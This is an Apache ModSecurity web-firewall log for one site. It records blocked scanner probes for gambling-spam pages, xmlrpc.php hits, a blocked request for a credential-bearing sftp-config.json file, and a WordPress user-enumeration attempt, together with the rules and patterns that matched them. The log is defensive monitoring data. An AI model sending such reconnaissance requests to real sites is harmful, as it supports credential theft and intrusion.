[Thu May 21 06:03:31.657434 2026] [:error] [pid 49982:tid 49987] [client 147.135.214.166:54262] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "ag4vs2FwIDa5Tf8O4bYeoQAAAMM"]
[Thu May 21 06:03:33.669048 2026] [:error] [pid 49982:tid 49993] [client 147.135.214.166:54268] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "ag4vtWFwIDa5Tf8O4bYepAAAAMk"]
[Thu May 21 06:03:35.544216 2026] [:error] [pid 49877:tid 49893] [client 147.135.214.166:47234] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "ag4vtxgN4MeSe4kIL9D2ugAAAAU"]
[Thu May 21 06:03:37.565057 2026] [:error] [pid 51613:tid 51622] [client 147.135.214.166:47240] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "ag4vuWbP0MDvqrVnweqD-gAAAQc"]
[Thu May 21 06:03:39.599690 2026] [:error] [pid 49982:tid 49999] [client 147.135.214.166:47246] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "ag4vu2FwIDa5Tf8O4bYeswAAAM8"]
[Thu May 21 06:17:39.906276 2026] [:error] [pid 51613:tid 51625] [client 102.219.155.9:32974] [client 102.219.155.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.219.155.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag4zA2bP0MDvqrVnweqIqAAAAQo"]
[Thu May 21 06:54:48.068920 2026] [:error] [pid 49884:tid 49967] [client 137.184.112.33:57290] [client 137.184.112.33] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.vscode/sftp-config.json"] [unique_id "ag47uK5MPpsTNNHWS6jG1gAAAJQ"]
[Thu May 21 07:07:36.442661 2026] [:error] [pid 49982:tid 49986] [client 43.135.211.148:42826] [client 43.135.211.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ag4-uGFwIDa5Tf8O4bYwmwAAAMI"]
[Thu May 21 07:32:53.411732 2026] [:error] [pid 49879:tid 49929] [client 5.155.118.0:27129] [client 5.155.118.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.155.118.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag5EpYVqYDjFSyG2gFob9AAAAEk"]
[Thu May 21 07:35:38.414681 2026] [:error] [pid 9189:tid 9231] [client 5.155.118.0:27491] [client 5.155.118.0] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ag5FSpvTDh1NbYizKVwadgAAAgw"]
[Thu May 21 07:36:03.119618 2026] [:error] [pid 9189:tid 9236] [client 5.155.118.0:27935] [client 5.155.118.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.155.118.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag5FY5vTDh1NbYizKVwagQAAAhE"]
[Thu May 21 07:36:25.125014 2026] [:error] [pid 49884:tid 49968] [client 5.155.118.0:28305] [client 5.155.118.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.155.118.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag5Fea5MPpsTNNHWS6jX5QAAAJU"]
[Thu May 21 07:36:51.551213 2026] [:error] [pid 49884:tid 49969] [client 5.155.118.0:28818] [client 5.155.118.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.155.118.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag5Fk65MPpsTNNHWS6jYDAAAAJY"]
[Thu May 21 07:37:25.240915 2026] [:error] [pid 9189:tid 9224] [client 5.155.118.0:27396] [client 5.155.118.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.155.118.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag5FtZvTDh1NbYizKVwbZQAAAgU"]
[Thu May 21 10:31:05.386950 2026] [:error] [pid 49877:tid 49895] [client 43.131.32.36:57344] [client 43.131.32.36] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag5uaRgN4MeSe4kIL9APjQAAAAc"]
[Thu May 21 11:18:55.403944 2026] [:error] [pid 9157:tid 9159] [client 43.156.44.207:59870] [client 43.156.44.207] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ag55n8GfHcLNqE8m88JRWAAAAYA"]
[Thu May 21 11:27:25.376941 2026] [:error] [pid 51613:tid 51623] [client 147.135.213.170:37980] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ag57nWbP0MDvqrVnweq4vgAAAQg"]
[Thu May 21 11:27:27.255269 2026] [:error] [pid 49982:tid 49995] [client 147.135.213.170:52316] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ag57n2FwIDa5Tf8O4bZwwwAAAMs"]
[Thu May 21 11:27:29.323836 2026] [:error] [pid 49877:tid 49904] [client 147.135.213.170:52326] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ag57oRgN4MeSe4kIL9AUJwAAABA"]
[Thu May 21 11:27:31.412464 2026] [:error] [pid 9188:tid 9210] [client 147.135.213.170:52332] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ag57o7GYm6q5dNSUvA-NRAAAAdI"]
[Thu May 21 11:27:33.184043 2026] [:error] [pid 51613:tid 51638] [client 147.135.213.170:47152] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ag57pWbP0MDvqrVnweq4yQAAARc"]
[Thu May 21 11:27:35.116541 2026] [:error] [pid 9188:tid 9212] [client 147.135.213.170:47154] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ag57p7GYm6q5dNSUvA-NSwAAAdQ"]
[Thu May 21 11:27:36.888631 2026] [:error] [pid 49982:tid 50007] [client 147.135.213.170:47166] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ag57qGFwIDa5Tf8O4bZw0QAAANc"]
[Thu May 21 11:27:38.838787 2026] [:error] [pid 49982:tid 50005] [client 147.135.213.170:47170] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ag57qmFwIDa5Tf8O4bZw1gAAANU"]
[Thu May 21 11:27:40.750739 2026] [:error] [pid 49982:tid 49997] [client 147.135.213.170:47180] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ag57rGFwIDa5Tf8O4bZw3gAAAM0"]
[Thu May 21 11:27:42.536704 2026] [:error] [pid 49879:tid 49928] [client 147.135.213.170:47194] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "ag57roVqYDjFSyG2gFow5gAAAEg"]
[Thu May 21 11:27:44.309283 2026] [:error] [pid 9114:tid 9137] [client 147.135.213.170:40916] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "ag57sG8FiJqDBEoTvqxFVQAAAVU"]
[Thu May 21 11:27:46.262480 2026] [:error] [pid 49884:tid 49965] [client 147.135.213.170:40928] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "ag57sq5MPpsTNNHWS6glXQAAAJI"]
[Thu May 21 11:27:48.344374 2026] [:error] [pid 49879:tid 49941] [client 147.135.213.170:40944] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "ag57tIVqYDjFSyG2gFow6gAAAFU"]
[Thu May 21 11:27:50.443872 2026] [:error] [pid 49982:tid 49991] [client 147.135.213.170:40956] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "ag57tmFwIDa5Tf8O4bZw5wAAAMc"]
[Thu May 21 11:27:52.375659 2026] [:error] [pid 51613:tid 51622] [client 147.135.213.170:40972] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "ag57uGbP0MDvqrVnweq41AAAAQc"]
[Thu May 21 11:27:54.283505 2026] [:error] [pid 49884:tid 49948] [client 147.135.213.170:45598] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "ag57uq5MPpsTNNHWS6glbAAAAIE"]
[Thu May 21 11:27:56.358050 2026] [:error] [pid 49877:tid 49908] [client 147.135.213.170:45608] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "ag57vBgN4MeSe4kIL9AUMwAAABQ"]
[Thu May 21 11:27:58.250701 2026] [:error] [pid 9114:tid 9131] [client 147.135.213.170:45614] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "ag57vm8FiJqDBEoTvqxFZwAAAU8"]
[Thu May 21 11:28:00.141106 2026] [:error] [pid 9114:tid 9135] [client 147.135.213.170:45624] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "ag57wG8FiJqDBEoTvqxFaQAAAVM"]
[Thu May 21 11:28:02.047085 2026] [:error] [pid 9157:tid 9167] [client 147.135.213.170:45626] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "ag57wsGfHcLNqE8m88JSTgAAAYg"]
[Thu May 21 11:28:03.964979 2026] [:error] [pid 9188:tid 9201] [client 147.135.213.170:35408] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "ag57w7GYm6q5dNSUvA-NXgAAAck"]
[Thu May 21 11:28:05.884725 2026] [:error] [pid 9188:tid 9210] [client 147.135.213.170:35416] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "ag57xbGYm6q5dNSUvA-NYAAAAdI"]
[Thu May 21 11:28:07.777707 2026] [:error] [pid 51613:tid 51617] [client 147.135.213.170:35422] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ag57x2bP0MDvqrVnweq44gAAAQI"]
[Thu May 21 11:28:09.665569 2026] [:error] [pid 49884:tid 49948] [client 147.135.213.170:35434] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ag57ya5MPpsTNNHWS6glhAAAAIE"]
[Thu May 21 11:28:11.708885 2026] [:error] [pid 49884:tid 49954] [client 147.135.213.170:35446] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ag57y65MPpsTNNHWS6gliAAAAIc"]
[Thu May 21 11:28:13.596261 2026] [:error] [pid 49982:tid 49985] [client 147.135.213.170:37224] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ag57zWFwIDa5Tf8O4bZw_wAAAME"]
[Thu May 21 11:28:15.478371 2026] [:error] [pid 49982:tid 50007] [client 147.135.213.170:37226] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "ag57z2FwIDa5Tf8O4bZxAwAAANc"]
[Thu May 21 11:28:17.517251 2026] [:error] [pid 9189:tid 9225] [client 147.135.213.170:37234] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "ag570ZvTDh1NbYizKVxKYwAAAgY"]
[Thu May 21 11:28:19.578143 2026] [:error] [pid 9157:tid 9175] [client 147.135.213.170:37250] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "ag5708GfHcLNqE8m88JSVAAAAZA"]
[Thu May 21 11:28:21.478549 2026] [:error] [pid 49879:tid 49926] [client 147.135.213.170:37254] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ag571YVqYDjFSyG2gFow7gAAAEY"]
[Thu May 21 11:28:55.838899 2026] [:error] [pid 9188:tid 9192] [client 147.135.213.170:38628] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ag5797GYm6q5dNSUvA-NnwAAAcA"]
[Thu May 21 11:28:57.799027 2026] [:error] [pid 9189:tid 9220] [client 147.135.213.170:38520] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ag57-ZvTDh1NbYizKVxKmgAAAgE"]
[Thu May 21 11:28:59.674230 2026] [:error] [pid 49982:tid 50002] [client 147.135.213.170:38530] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ag57-2FwIDa5Tf8O4bZxOwAAANI"]
[Thu May 21 11:29:01.689328 2026] [:error] [pid 49884:tid 49957] [client 147.135.213.170:38534] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ag57_a5MPpsTNNHWS6glxgAAAIo"]
[Thu May 21 11:29:03.702605 2026] [:error] [pid 9188:tid 9214] [client 147.135.213.170:47620] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ag57_7GYm6q5dNSUvA-NogAAAdY"]
[Thu May 21 11:29:05.755598 2026] [:error] [pid 9157:tid 9163] [client 147.135.213.170:47634] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ag58AcGfHcLNqE8m88JSZwAAAYQ"]
[Thu May 21 11:29:07.676439 2026] [:error] [pid 9157:tid 9168] [client 147.135.213.170:47646] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ag58A8GfHcLNqE8m88JSagAAAYk"]
[Thu May 21 11:29:09.564654 2026] [:error] [pid 9157:tid 9170] [client 147.135.213.170:47652] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ag58BcGfHcLNqE8m88JSbQAAAYs"]
[Thu May 21 11:29:11.474204 2026] [:error] [pid 9157:tid 9159] [client 147.135.213.170:47660] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ag58B8GfHcLNqE8m88JScQAAAYA"]
